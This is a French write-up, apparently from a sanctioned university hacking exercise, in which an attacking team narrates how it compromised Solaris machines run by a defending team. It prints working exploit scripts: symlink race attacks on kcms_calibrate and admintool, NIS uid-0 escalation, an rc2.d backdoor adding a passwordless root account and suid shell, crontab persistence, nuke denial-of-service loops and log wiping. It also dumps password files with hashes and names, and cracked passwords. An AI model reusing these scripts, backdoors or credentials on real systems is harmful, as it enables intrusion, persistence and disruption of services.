Notre équipe s'introduisit dans la machine black3 au cours de la seconde journée. On les avait entendu dire que « tout était chimique » et nous avons deviné que cela avait rapport aux mots de passe. Cette supposition fut vérifiée en testant des noms d'acides ou d'éléments chimiques. Le mot de passe du compte saa2397 se révéla être « xenon ». Plus tard, en réutilisant la même technique, le compte 'btrn2654' révéla avoir le mot de passe « nitrogen ».

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
rbatni:LOzfCLHLF1vVU:501:100:
Rajeev Batni:/home/rbatni:/bin/tcsh
btm2564:CkQzy81AOaGQw:503:100:Bobby
Makwana:/home/btm2564:/bin/tcsh
saa2397:G8v5GkekgAEiI:504:100:Syed Aziz:/home/saa2397:/bin/tcsh
nabrol:nbFO6upHft6uk:505:100:Abrol Nischal:/home/nabrol:/bin/tcsh
skumar:40MdQaBdrauEk:506:100:Sankaran Kumar:/home/skumar:/bin/tcsh
smani:wlqnOakMahsaQ:507:100:Somnath Mani:/home/smani:/bin/tcsh
ellenm:CaJPA2nLQQIbc:508:100:Ellen Mitchell:/home/ellenm:/bin/tcsh
lars:AbK/NfSsMCuzk:509:100:Lars Crotwell:/home/lars:/bin/tcsh

2. Les vieux Bugs qui sont en grande partie patchés

A la fin des quelques premiers jours, l'équipe gold n'avait toujours pas installé un bon système de surveillance. Malheureusement, nos connaissances en hacking étaient encore très réduites et la plupart des nombreux hacks faciles disponibles sur le net avaient été patché depuis longtemps sur le système Solaris. Nous recherchions sur Internet des petits hacks que nous avons ensuite essayé. En parallèle nous scannions le système à l'aide de COPS (se référer à la section F).

Les résultats de ces hacks étaient décevants, mais cela nous a remis sur le droit chemin dans notre quête de « l'accès root ». L'un des documents les plus intéressant était « Improving the Security of Your Site by Breaking Into It », écrit par Dan Farmer et Wietse Venema, les programmeurs de Satan.

La première méthode qu'ils décrivaient aurait pu être suffisante pour pirater le système :

« evil% showmount -e victim.com ». La faille mount avait déjà été découverte par edaniel, un membre de notre équipe (référez vous à la section D.3).

Gold2 fut ensuite scannné à la recherche de failles ftp. Celles ci incluaient : le répertoire home de ftp en écriture pour tout le monde, ce qui faisait qu'un fichier « .forward » contenant « |/bin/command » pouvait être exécuté si l'utilisateur ftp recevait un mail ; l'écriture dans le répertoire bin de ftp pour ajouter des commandes à celles qui pouvaient être exécutées par les utilisateurs de ftp. Le vieux bug ftp est représentatif des hacks simples que nous avons essayé :

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (ou n'importe quoi)
Et l'utilisateur obtenait un accès root.

Le service sendmail sur le port 25 a ensuite été scanné sans plus de succès. Les vieux bugs Sendmail sont simples à trouver sur Internet.

Des conditions de concurrence (race condition) ont ensuite été testées sur le système. Le principe est d'essayer de lancer deux programmes en concurrence sur un même objet, dans l'espoir que l'interférence entre les deux programmes produira l'effet désiré. Prenons pour exemple la commande mkdir : elle crée d'abord le répertoire, puis ensuite fixe l'utilisateur qui a appelé la commande comme étant le propriétaire du répertoire. Si le répertoire ainsi crée peut être remplacé par un lien vers /etc/passwd avant que le propriétaire ne soit fixé, alors, nous nous retrouverons propriétaire de /etc/passwd. Le petit script suivant tente d'exploiter ce type de faille particulière (notez que cela n'a pas fonctionné sur la machine gold2 qui fonctionne sous Solaris) :

#!/bin/csh
while (1)
/usr/bin/nice -10 "mkdir a;rm -fr a"&
(rm -fr a; ln -s /etc/passwd a) &
end

Plusieurs autres « Race Conditions » furent testées, l'exploit « password race » fut l'un d'eux (le fichier passwdrace.c se trouve dans notre répertoire /pub/689ans/black2). Le résultat fut aussi négatif.

3. Mauvaise configuration de la table de montage (mount table)

Un « showmount -e black1 » nous informais que le répertoire /export/home de black1 était exporté avec les permissions pour tout le monde. Ce fut facile de monter black1:/export/home à partir de black5, puis de faire un su à l'id approprié afin de lire/écrire n'importe quel fichier qui n'appartenait pas à root.

Plus des informations plus détaillées, regardez la section Résultats pour notre exploitation de cette erreur de configuration.

4. CERT advisory CA-96.10

Les annonces du CERT concernant Solaris ont été lu afin d'exploiter les failles de gold2.

D'après l'annonce CA-96.10 du CERT, il peut arriver que des utilisateurs aient la permission de modifier leurs propres entrées dans passwd.org_dir, de cette manière ils sont capables de fixer leur propre uid à zéro. Cela est possible lorsque NIS+ est installé par défaut. En lançant la commande « niscat -o passwd.org_dir » sur gold2, nous obtenons :

Object Name : passwd
Owner : myhost.mydomain.org.
Group : admin.mydomain.org.
Domain : org_dir.mydomain.org.
Access Rights : ----rmcdrmcd----
Time to Live : 12:0:0
Object Type : TABLE
Table Type : passwd_tbl
Number of Columns : 8
Character Separator : :
Search Path :
Columns :
[0] Name : name
Attributes : (SEARCHABLE, TEXTUAL DATA, CASE SENSITIVE)
Access Rights : r---------------
[1] Name : passwd
Attributes : (TEXTUAL DATA)
Access Rights : -----m----------
[2] Name : uid
Attributes : (SEARCHABLE, TEXTUAL DATA, CASE SENSITIVE)
Access Rights : -----m----------
[3] Name : gid
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[4] Name : gcos
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[5] Name : home
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[6] Name : shell
Attributes : (TEXTUAL DATA)
Access Rights : r---------------
[7] Name : shadow
Attributes : (TEXTUAL DATA)
Access Rights : ----------------

Remarquez que l'utilisateur a la possibilité de modifier son propre uid, la suite est du gâteau :

gold2%nistbladm -m uid=0 '[name=edaniel]',passwd.org_dir
gold2%nistbladm -m uid=111 '[name=edaniel]',passwd.org_dir

Les détails complémentaires sur l'exploitation de cette ouverture béante se trouvent dans la section E.

5. Cassage des mots de passe

Nous avons lancé Crack version 4.1 sur le fichier password de gold2. Le programme est parvenu à casser le mot de passe de l'utilisateur « Karthik », qui était « major3 ». Le dictionnaire utilisé était tout simplement celui fournit avec le programme. Un ftp rapide sur le compte de Karthil nous a permit de confirmer que le mot de passe était correct. Malheureusement, ce mot de passe était trop faible. Il a été cassé par plusieurs autres groupes. L'activité inhabituelle qui transitait par l'intermédiaire de ce compte mena l'équipe gold à bloquer deux de nos utilisateurs (raoulg et ralphg).

Plus tard, deux listes de mots furent ajoutées au dictionnaire, il y avait : hindu-names (plusieurs des utilisateurs sont indiens) et usenet-names. Nous avons aussi essayé des dictionnaires Espagnol et Chinois. La pèche n'a malheureusement pas été bonne.

C'est amusant de remarquer que tout au long du jeu, la liste des mots de passe cryptés était disponible par NIS (juste en tapant : niscat passwd.org_dir). On s'est demandé quelle était l'utilité de masquer (shadowing) le fichier /etc/passwd. Voici le fichier de mots de passe sur lequel nous avons lançé Crack :

arsc:DXMQYbH2KzYp6:1000:10:/home/larsc:/bin/csh:9666
karthik:moyfq3ENRQezQ:100:10:/home/karthik:/bin/csh:9662
jxue:SvAx3W9rovbVM:101:10:/home/jxue:/bin/csh:9660
junhua:WwUciWBfpmSO6:102:10:/home/junhua:/bin/csh:9660
xqzhi:72qS/2NubFLxQ:103:10:/home/xqzhi:/bin/csh:9676
asg7946:CysHGGKxcQa.U:104:10:/home/asg7946:/bin/csh:9660
krisjay:MnjUgb6XCwMGk:105:10:/home/krisjay:/bin/csh:9676
ritat:az/xz3QX7vB0.:106:10:/home/ritat:/bin/csh:9669
uday3988:9.6wqfx.PIcrE:107:10:/home/uday3988:/bin/csh:9660
dunnc:h/a8z.EFdsO/k:200:10:/home/dunnc:/bin/csh:9660
csudhir:Oiwuuznd6m5W6:201:10:/home/csudhir:/bin/tcsh:9676
michaelm:H1fs0qlQqP9sE:202:10:/home/michaelm:/bin/csh:9672
mmehta:gCg9E0TUUrKos:203:10:/home/mmehta:/bin/csh:9667
nshanti:*LK*:204:10:/home/nshanti:/bin/csh:9669
anb5324:*LK*:205:10:/home/anb5324:/pub/gnu/bin/bash:9671
jredd:Fxrzoi5LHTcn2:206:10:/home/jredd:/usr/bin/tcsh:9669
ajayg:0oXFd4W2aCxoI:108:10:/home/ajayg:/bin/csh:9670
raulg:BrJTmwEOT43Do:109:10:/home/raulg:/bin/csh:9667
edaniel:BpF7Ra.Bnp0Eg:110:10:/home/edaniel:/bin/csh:9667
ralphg:M/mwmzAgNuxlw:111:10:/home/ralphg:/bin/csh:9678
faisalk:phAYs/sEs56EA:113:10:/home/faisalk:/bin/csh:9677
rehan:lnqIdVQGgbuSA:112:10:/home/rehan:/bin/csh:9661
rbatni:iSuIfppxyWxFo:114:10:/home/rbatni:/bin/csh:9661
dpatel:YtHSZZwniGUNo:115:10:/home/dpatel:/bin/csh:9664
btm2564:YdYxvBpq7w6xg:116:10:/home/btm2564:/bin/csh:9667
saa2397:6I3Fx7StUMJC2:117:10:/home/saa2397:/bin/csh:9661
nabrol:qB2.0yi8Lhvpw:118:10:/home/nabrol:/bin/csh:9667
skumar:w5mDRHclwQ1F.:119:10:/home/skumar:/bin/csh:9666
smani:fdfZezcSs02f6:120:10:/home/smani:/bin/csh:9665
mpriddy:83Wl8LOmNhG2U:121:10:/home/mpriddy:/bin/csh:9660
luwenhu:QRGWF6QIN1GMs:122:10:/home/luwenhu:/bin/csh:9664
brandonb:ieePjIZZ4u1q.:123:10:/home/brandonb:/bin/csh:9662
johnnyh:TSRNKedxhn8hc:124:10:/home/johnnyh:/bin/csh:9662
asahoo:kI2bFDW8FaHz6:125:10:/home/asahoo:/bin/csh:9664
a0s8815:pki7QIsqdR3fE:126:10:/home/a0s8815:/bin/csh:9667
sajidm:ORfh7.2GXutjY:127:10:/home/sajidm:/bin/csh:9664
wayne:40k6yZ8e9HejE:128:10:/home/wayne:/bin/csh:9665
ellenm:9..A27Z0yzCFc:129:10:/home/ellenm:/bin/csh:9669
willis:p/XzJIRuuVVOk:300:10:/home/willis:/bin/csh:9668
pooch:ZIYG8DG.l54BQ:400:10:/home/pooch:/bin/csh:9668
hacker:ue/8aTMAB.LoQ:500:10:/home/hacker:/bin/csh:9676
sanjay:T52oYfekc7aco:130:10:/home/sanjay:/bin/tcsh:9668

6. Le syndrome récurent des fichiers temporaires, les exploits Kcms/Admintool

1. Description

De type de faille à toujours donné mauvaise réputation au système d'exploitation UNIX. Cela correspond à la création d'un fichier temporaire par un programme fonctionnant en tant que root. Il est possible d'exploiter cette situation si les permissions sur ce fichier temporaire sont fixées à rw-rw-rw-, si le fichier temporaire est crée dans répertoire en écriture pour tout le monde, et si le nom du fichier peut être prédit. Ensuite, tout ce que le hacker a à faire c'est créer un lien symbolique du fichier temporaire qui va être crée vers un fichier inexistant. Quand le programme est ensuite exécuté, il crée le fichier pointé par le lien symbolique.

Cette vulnérabilité a ensuite été découverte dans trois programmes qui ont le suid root : Kcms_calibrate, admintool et vold. Nous l'avons appris sur la liste de diffusion bugtraq. La vulnérabilité de vold n'était pas exploitable dans notre cas car elle nécessitait un accès physique à la machine. La vulnérabilité « admintool » fut ensuite corrigée par l'équipe gold. La vulnérabilité de Kcms_calibrate fut largement utilisée, elle n'a jamais été corrigée par l'équipe gold.

2. Vulnérabilité KCMS

Solaris 2.5 offre un support du Système de Gestion des Couleurs Kodak (KCMS = Kodak Color Management System), une suite d'APIs et de librairies compatibles Openwindows pour créer et gérer des profils qui permettent de contrôler le rendement couleur des écrans, des scanners, des imprimantes et des magnétoscopes (film recorders).

KCMS se compose des programmes kcms_configure et kcms_calibrate qui ont pour rôle de configurer et calibrer un système X11 window utilisant les librairies KCMS. Une fois installé, ces programmes ont les privilèges set-user-id root et set-group-id bin.

Lorsque l'on le lance, kcms_calibrate crée le fichier temporaire /tmp/Kp_kcms_sys.sem, voici un script qui exploite cette vulnérabilité en créant un fichier .rhosts et en y mettant ++ :

#!/bin/csh
/bin/rm -rf /tmp/Kp_kcms_sys.sem
cd /tmp
#Making symbolic link
ln -s /.rhosts Kp_kcms_sys.sem
/usr/openwin/bin/kcms_calibrate &

Une fois le script exécuté, /.rhosts est crée avec les permissions fixées à 666, alors que le fichier en lui même appartient à root.

3. Vulnérabilité Admintool

Admintool est une interface graphique qui permet à l'administrateur d'exécuter différentes tâches d'administration système sur le système. Cela incluse la possibilité de gérer les utilisateurs, les groupes, les machines et les services.

Pour empêcher que différents utilisateurs mettent à jour des fichiers système simultanément, admintool utilise plusieurs fichiers temporaires comme mécanisme de verrouillage. La manipulation de ces fichiers temporaires n'est pas faite de manière sécurisée, si bien qu'il est possible de se servir de admintool pour créer ou écrire des fichiers arbitraires sur le système.

Les fichiers sont accédés avec l'uid effectif du processus exécutant admintool.

Voici un script similaire à celui fournit pour l'exploit kcms :

#!/bin/sh
DISPLAY=":0.0";export DISPLAY
rm -rf /tmp/.group.lock
ln -s /.rhosts /tmp/.group.lock
notbroken=1
/usr/bin/admintool &
#(browse -> group -> edit a group -> get an error message -> exit)
while [ $notbroken -eq 1 ]
do
if [ -f /.rhosts ]; then
/bin/cp /dev/null /.rhosts
/bin/echo "+ +" >> /.rhosts
/usr/bin/rsh localhost -l root "( /usr/openwin/bin/xterm -display $DISPLAY& )"
notbroken=0
sleep 1
fi
done

4. Conclusion

Une fois encore le scénario est le même. N'importe quel fichier inexistant peut être crée en utilisant cette méthode.

Il est donc inutile d'expliquer le fonctionnement de la vulnérabilité de vold dans les détails. La vulnérabilité KCMS fut largement exploitée pour la seconde intrusion qui est décrite dans la section E.5.

7. Envoyer de faux paquets et scanner les ports UDP, le premier essai de « déni de service »

On trouve sur Internet différents programmes qui ouvrent des sockets SOCK_RAW. Ce type de socket ne peut être ouvert seulement si le programme est exécuté en tant que root. Une socket de type SOCK_RAW donne un contrôle illimité sur les données du paquet envoyé. Nous avons été capable d'envoyer des paquets avec une fausse adresse IP de black5 vers gold2. Nous sommes même parvenus à fixer gold1 comme étant l'envoyeur bien que les deux machines soient soit disant séparées par un firewall.

Un de ces programmes est le programme treelight publié dans l'issue #4 de FEH. Il a fallut le modifier pour qu'il fonctionne sous Solaris car les champs sont nommés différemment dans le fichier de définition de l'entête IP. Le programme envoyait un « Christmas Tree Packet » (SYN, URG, PSH, FIN et 1 octet de donnée) de source.port vers dest.port. Ce type de paquet est aussi connu sous lles noms « kamikaze Packet », « Nastygram », et « lamp test segment ». Nous y avons eu recours pour mettre en scène une attaque « denial of service ». Un paquet ayant (gold2,port7) comme source et (gold2,port7) comme destination fut envoyé. Comme le port 7 correspond au port « echo », le paquet fut échangé indéfiniment entre gold2 et lui-même.Comme aucune autre machine n'était traversée, le nombre de saut (hop count) restait fixe. Bien que le niveau d'activité de gold2 grimpa à 67%, le système ne montra aucun signe de faiblesse.

8. Le protocole ICMP, le programme nuke

« Le Protocole Internet (IP) est utilisé comme service de datagramme machine-à-machine dans un système de réseaux interconnectés nommé Catenet. Les machines qui relient ces réseaux sont appelées Gateways (passerelles). Ces passerelles communiquent entre elles dans un but de contrôle par l'intermédiaire du Gateway to Gateway Protocol (GGP). Occasionnellement une passerelle ou une machine destination va communiquer avec une machine source, par exemple, pour rapporter une erreur dans le traitement d'un datagramme. Dans de telles situations, on a recours au protocole ICMP (Internet Control Message Protocol). ICMP utilise IP comme support comme si il était un protocole de niveau supérieur, cependant, ICMP fait en réalité partie intégrante d'IP, et doit être implémenté dans tous les modules IP ». (DARPA Internet Protocol Specification).

Les messages ICMP peuvent être expédiés dans différentes situations : par exemple quand un datagramme ne parvient pas à destination, quand la passerelle ne possède plus assez de mémoire pour faire suivre un datagramme, et quand la passerelle peut diriger la machine sur un chemin plus cours pour acheminer sont trafic. La partie qui nous intéresse est l'échange de paquets ICMP_unreach qui informe une machine que son destinataire ou le port de son destinataire n'est plus accessible.

Pour vous protéger contre les attaques par dénie de service basées sur les bombes ICMP, filtrez les paquets TCMP redirect et ICMP destination unreachable. De plus, les réseaux devraient filtrer les paquets routés (document ftp://info.cert.org/pub/tech_tips/packet_filtering). Manifestement ce type de protection n'était pas mis en place pour le sous réseau gold puisque nous avons toujours été capable d'envoyer des paquets avec des adresses IP falsifiées.

L'étape suivante fut d'utiliser le programme « nuke » largement diffusé sur Internet. La version disponible sur le réseau tuait les connexions telnet en envoyant des paquets ICMP unreach à la machine cible. « nuke » fut modifié afin d'attaquer n'importe quelle connexion. Voici un exemple du programme en pleine action :

Tout d'abord, on se connecte sur gold2 et on observe quelles sont les connexions actives, puis on décide lesquelles attaquer :

gold2% netstat -a
.
.
.
.
.
*.80 *.* 0 0 0 0 LISTEN
gold2.32794 gold1.32771 8760 0 8760 0 ESTABLISHED
gold2.1022 gold1.nfsd 8760 0 8760 0 ESTABLISHED
gold2.telnet gold1.33049 8760 0 8760 0 ESTABLISHED
*.22 *.* 0 0 0 0 LISTEN
gold2.telnet gold1.33105 8760 0 8760 0 ESTABLISHED
gold2.telnet kennel.54746 49640 0 8760 0 ESTABLISHED
gold2.telnet black4.1213 14335 0 10052 0 ESTABLISHED
^^^^^^^^^^^^^^^^^^^^^^^^^ targeted connection
gold2.22 kennel.54748 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54749 49640 0 8760 0 ESTABLISHED
.
.
.
.
.

Nous lançons ensuite nuke sur black4 avec les paramètres appropriés :

black5% su
Password:
# ./nuke gold2 black4 1213 23
#

Un autre « netstat -a » sur la machine gold2 nous montrait que la connexion n'existait plus :

gold2% netstat -a
.
.
.
.
.
.
.
*.80 *.* 0 0 0 0 LISTEN
gold2.32794 gold1.32771 8760 0 8760 0 ESTABLISHED
gold2.1022 gold1.nfsd 8760 0 8760 0 ESTABLISHED
gold2.telnet gold1.33049 8760 0 8760 0 ESTABLISHED
*.22 *.* 0 0 0 0 LISTEN
gold2.telnet gold1.33105 8760 0 8760 0 ESTABLISHED
gold2.telnet kennel.54746 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54748 49640 0 8760 0 ESTABLISHED
gold2.22 kennel.54749 49640 0 8760 0 ESTABLISHED
.
.
.
.
.

Le programme fut ensuite utilisé pour faire ramer le serveur NFS de gold2 et pour tuer les connexions de login sur gold2. Pour d'avantage de détails sur cette attaque de déni de service, le lecteur peut se référer à la section E.3.

9. Effacer nos traces

Un programme qui efface nos entrées des tables wtmpx était à notre disposition. Il est listé en annexe. Un utilisateur qui appelle cette commande n'apparaîtra pas lors d'un who ou d'un w, la seule trace de son activité peut être décelée en lançant « ps ». Une portion de ce programme provient d'une liste de diffusion. Le programme de cette liste effaçait les traces de utmpo ou wtmp, un support pour utmpx, wtmpx et quelques autre logs a été ajouté.

5. Exploitation de nos Outils de Hacking, leurs Attaques et leurs Résultats

1. Exploitation des répertoires Home partagés

Trappes grossières dans le .cshrc des personnes qui avaient des fichiers appartenant à root dans leur répertoire home (vraisemblablement des membres de l'équipe gold), avec l'intention que la commande 'ls' crée un shell suid quand on l'appelle en root. Cela n'a pas fonctionné comme on l'aurait souhaité.

Une trappe plus subtile dans cops, qui se trouvait dans le home de l'utilisateur csudhir (le jour précédent, nous avions remarqué que COPS était en train de tourner avec les droits root), COPS a été retiré le lendemain.

Ajout d'une clé publique supplémentaire dans les fichiers .ssh/authorized-keys de presque la moitié des utilisateurs.. Nous avions, bien sûr, les clés privées correspondantes. Cela a été découvert le 28 juin.

Un accès non-root sur gold1 a été obtenu par la manoeuvre précédente.

Le schéma suivant a aussi été envisagé :

1 - Ajouter la commande (alias su '/tmp/log1';unalias su) dans le fichier .login d'un membre de l'équipe gold.

2 - /tmp/log1 copierait le fichier .login initial dans le répertoire home, demanderais un mot de passe, l'enregistrerait dans un fichier du répertoire temp, renverrait un message d'erreur (mot de passe invalide), et s'effacerait lui même.

3 - Le unalias garantirais que tout se déroule de façon cachée.

Ce schéma n'a pas été utilisé car l'accès root nous était garanti par une méthode bien plus franche, à savoir la non-protection des tables NIS.

2. Accès root sur Gold2 et Gold1 grâce à l'exploit NIS

Comme décrit dans la section D.4, l'exploit nous permettait de gagner rapidement un accès root sur gold2. Il nous restait encore à obtenir un accès root sur gold1.

Se connecter comme simple utilisateur de l'équipe gold était aisé en utilisant ssh. Les répertoires /export/home de gold2 étaient exportés sans le drapeau suid, mais sur gold1 ils étaient exportés avec le drapeau suid activé. Cela signifiait qu'un fichier suid root dans un répertoire home ne pouvait pas être exécuté sur gold2, mais cela était possible sur black1 ! La suite a été très simple :

1 - Nous sommes passés root en utilisant la commande :

stbladm -m uid=0 '[name=edaniel]',passwd.org_dir

2 - Une clé ssh fut ajouté au membre X de l'équipe gold, ensuite nous avons fait un su pour ce compte sur gold2.

3 - Un shell root suid fut crée dans le home de X.

4 - Nous avons accédé à gold1 en tant que X puis avons lancé ce shell.

5 - Nous obtenons alors un accès root sur gold1.

Nous avons ensuite procédé aux tâches suivantes :

1 - Insérer une porte dérobée dans un exécutable suid dans le répertoire /bin de gold1 et gold2 (toujours présent lors des vacances du milieu de trimestre). Le trojan était un simple shell qui substituait la commande « fdformat » dans /usr/bin. A la fin de cet exercice nous avons appris que le trojan avait été effacé par inadvertance lorsque l'équipe gold effaça /bin par erreur.

2 - Ajout d'une clé publique dans /root/.ssh/autorized_keys de gold1 et gold2. Cela nous permettait de nous connecter en root sur gold1 et gold2 par ssh. Il s'est avéré par la suite que se connecter en tant que root créait des entrées utmp pour le root (l'équipe gold accédait toujours au statut root par su), un membre de la gold le remarqua et découvrit les clés ssh.

3 - Création d'un nouvel utilisateur (présent jusqu'à la fin des jeux), le nom de cet utilisateur est sanjay et il possède son propre répertoire home et sa propre clé ssh. Ce qui est étrange c'est le fait que NIS permettent à root de gérer les tables NIS (créer un nouveau compte) sur gold1 sans passer par une authentification par mot de passe.

L'accès root fut maintenu jusqu'au fatidique jour du 17 juillet. Les utilisateurs Ralphg et Ajayg essayaient d'utiliser cette ouverture une nouvelle fois. L'utilisateur Ajayg changea son uid à 0, puis se déconnecta et se reconnecta plusieurs fois jusqu'à ce qu'il obtienne l'accès root.

Ce que les deux hackers n'avaient pas réalisé, c'était qu'ils auraient pu garder le shell lorsque l'utilisateur Ajayg avait toujours son uid d'origine. L'utilisateur Ajayg passa root sur gold2, il ne pouvait plus accéder à son entrée initial dans les tables NIS situées sur gold1.

L'utilisateur edaniel se joignit à nous et se rendis compte que le seul remède était d'obtenir l'accès root sur gold1 puis de ramener les tables à leurs états initiaux. Une clé ssh fut ajouté au membre Csudhir de l'équipe gold, puis nous nous sommes logés sur gold1. L'utilisateur anb5324 rodait sur gold1 et remarqua la connexion suspecte. am5324 se connecta sur gold2 et tua rapidement nos sessions telnet. Nous avons alors du nous reconnecter par une backdoor que nous avions placé (un compte uucp sans mot de passe et avec un uid de 0), nous avons ensuite tué les sessions telnet de anb5324. anb5324 rafraichissa la table de routage de gold2, et nous furent mis hors jeux. Plus tard dans la journée, l'erreur de configuration fut rectifiée.

La leçon que nous en avons tiré était que nous devions hacker avec plus de précautions pour la suite.

3. Exploitation de la vulnérabilité Kcms

Comme écrit plus tôt dans la section D.6.2, l'exploit kcms_calibrate rend possible la création de n'importe quel fichier inexistant à n'importe quel endroit sur le système de fichier local de gold2. Les étapes suivantes ont été suivi :

1 - Pour tester, nous avons crée un fichier /.rhosts. Cela s'est avéré d'aucune utilité parce que ni ssh ni rlogin ne sont disponibles sur gold2. Toutefois, l'équipe gold n'effaça pas le fichier avant 5 jours.

2 - L'attaque fut lancée en créant le fichier de script S100blah dans /etc/rc2.d. Les scripts se trouvant dans le répertoire rc2.d sont lancés à chaque redémarrage du système. Voici le script de cette backdoor :

# Give us root access
/bin/echo "uuucp::0:0:H. Acker:/:" >> /etc/passwd
/bin/cp -p /bin/sh /etc/mysh
/bin/chmod u+s /etc/mysh
/bin/chown root /etc/mysh
/bin/rm -rf /root/*iger* > /dev/null 1>&2

Cet exploit fonctionnait très bien, il nous donnait l'accès root après chaque reboot.

3 - Le programme cron tourne en tâche de fond et exécute des commandes précises à des intervalles de temps précis. A chaque démarrage, il lit la table de commandes de chaque utilisateurs à partir de /var/spool/cron/crontabs/. L'astuce consistait à créer un fichier crontab pour l'utilisateur smtp, cependant smtp se trouvait dans le fichier /etc/cron.d/cron.deny qui se trouvait sur gold2. Voici ce que les pages de manuels de crontab nous disait à propos des contrôles d'accés de crontab :

contrôle d'Accés de crontab

Utilisateurs : L'accés à crontab est autorisé :

o si le nom de l'utilisateur apparaît dans /etc/cron.d/cron.allow.

o si /etc/cron.d/cron.allow n'existe pas et si le nom de l'utilisateur n'apparaît pas dans /etc/cron.d/cron.deny.

Utilisateurs : L'accès est interdit :

o si /etc/cron.d/cron.allow existe et que le nom de l'utilisateur ne s'y trouve pas

o si /etc/cron.d/cron.allow n'existe pas et si le nom de l'utilisateur se trouve dans /etc/cron.d/cron.deny.

o si aucun des deux fichiers n'existe

Il était donc évident que nous devions créer deux fichiers. Tout d'abord, /etc/cron.d/cron.allow fut crée et rempli avec tous les utilisateurs qui auraient du avoir accès à la commande crontab :

root
smtp
larsc
karthik
jxue
junhua
xqzhi
asg7946
krisjay
ritat
uday3988
dunnc
csudhir
michaelm
mmehta
nshanti
anb5324
jredd
ajayg
raulg
edaniel
ralphg
faisalk
rehan
rbatni
dpatel
btm2564
saa2397
nabrol
skumar
smani
mpriddy
luwenhu
brandonb
johnnyh
asahoo
a0s8815
sajidm
wayne
ellenm
willis
pooch
hacker
sanjay
iakhan

Nous avons ensuite crée un fichier crontab spécifique à smtp dans /var/spool/cron/crontabs, nous avons du l'appeler smtp et il contenait :

15 3 * * * * /bin/cp /bin/sh /var/adm/sids/.sh

16 3 * * * * /bin/chmod 4755 /var/adm/sids/.sh

Cet exploit a été testé sur black5 et il fonctionnait à la perfection, son rôle était de créer un shell suid root toutes les heures. Malheureusement cela n'a pas fonctionné sur la machine gold2, il s'est avéré plus tard que cela générait une erreur TT_DB lors de l'exécution.

Il est important de souligner que l'équipe gold aurait eu beaucoup de mal à trouver le shell ainsi créé. Le répertoire /var/adm/sids est en effet utilisé par Tripwire pour stocker certains de ses résultats. Comme tout est supposé changer dans ce répertoire, Tripwire ne le prend pas en compte. C'est Aaron de l'équipe gold qui nous l'a expliqué après la fin des jeux. L'emplacement a été en fait choisi par ironie : le répertoire contient des fichiers qui servent à garder une trace des fichiers qui sont suid root.

4 - Une fois les chevaux de Troie installés, il nous suffisait d'attendre un redémarrage. Toutefois, le temps filait très vite et nous approchions de la clôture des jeux. Nous devions donc trouver un moyen de crasher le système, ou d'obliger l'équipe gold à rebooter.

4. Forcer le système à redémarrer en utilisant le programme nuke

Le port NFS de Gold1 tournait sur le port 2049. Gold2 se servait d'un port dans l'intervalle 970-1010 pour son service NFS.

En utilisant le programme nuke dérit dans la section D.8, le script suivant fut créé puis exécuté sur notre machine black. Cela ralentissait toute opération NFS sur Gold2.

#!/bin/csh
while (1)
./nuke gold2 gold1 2049 970&
./nuke gold2 gold1 2049 971&
./nuke gold2 gold1 2049 972&
./nuke gold2 gold1 2049 973&
./nuke gold2 gold1 2049 974&
./nuke gold2 gold1 2049 975&
./nuke gold2 gold1 2049 976&
./nuke gold2 gold1 2049 978&
./nuke gold2 gold1 2049 982&
./nuke gold2 gold1 2049 979&
./nuke gold2 gold1 2049 980&
./nuke gold2 gold1 2049 987&
./nuke gold2 gold1 2049 988&
./nuke gold2 gold1 2049 989&
./nuke gold2 gold1 2049 990&
./nuke gold2 gold1 2049 997&
./nuke gold2 gold1 2049 998&
./nuke gold2 gold1 2049 999&
./nuke gold2 gold1 2049 1000&
./nuke gold2 gold1 2049 1001&
./nuke gold2 gold1 2049 1002&
./nuke gold2 gold1 2049 1003&
./nuke gold2 gold1 2049 1004&
./nuke gold2 gold1 2049 1005&
./nuke gold2 gold1 2049 1006&
./nuke gold2 gold1 2049 1007&
./nuke gold2 gold1 2049 1008&
./nuke gold2 gold1 2049 1009&
./nuke gold2 gold1 2049 1010&
./nuke gold2 gold1 2049 1011&
end

Un peu plus tard, l'attaque a été renforcée en un programme nuke-NFS.c. L'attaque est devenue beaucoup plus brutale et les services NFS de gold étaient à la limite de tomber.

A l'origine nous pensions compter uniquement sur l'attaque NFS, mais certains membres de notre équipe se sont laissés emporter et ont commencé à tuer toutes les connexions ssh et telnet. Pendant deux heures, les autres équipes n'ont pas pu accéder à gold2. L'équipe gold a finis par redémarrer sa machine.

5. Le combat avec l'équipe Black4

Après le redémarrage, nous avions toujours l'accès root à gold2. Le programme /etc/mysh fonctionnait à la perfection, et nous donnait l'accès root en tappant « /etc/mysh -p ».

A notre grande surprise, une autre équipe avait l'accès root. Après quelques minutes motd était changé en :

.^^^.
 |o o|
-------------- "Root, is a state of MINE" - BLACK4 --oOO-(_)-OOo-- **********************************************************************
Our deepest gratitue is extended to all those who made this
possible. Thanks for the ideas all you unnamed Hackers.

This one is for you!!!!

Please mail any questions, problems, or service requests to

postmaster (if we reenable that account :) ).

**********************************************************************

Nous nous sommes vite occupé de cela :

.^^^.
|o o|
-------------- "Root, is a state of MINE" - BLACK4 --oOO-(_)-OOo--
-============= No, it's mine! MINE!!!! ========= BLACK2 ===========
Black2 Ruleeeeeeeeeeeeeeeeeeeeezzzzzzzz

**********************************************************************

Our deepest gratitue is extended to all those who made this
possible. Thanks for the ideas all you unnamed Hackers.

This one is for you!!!!

Please mail any questions, problems, or service requests to

postmaster (if we reenable that account :) ).

**********************************************************************

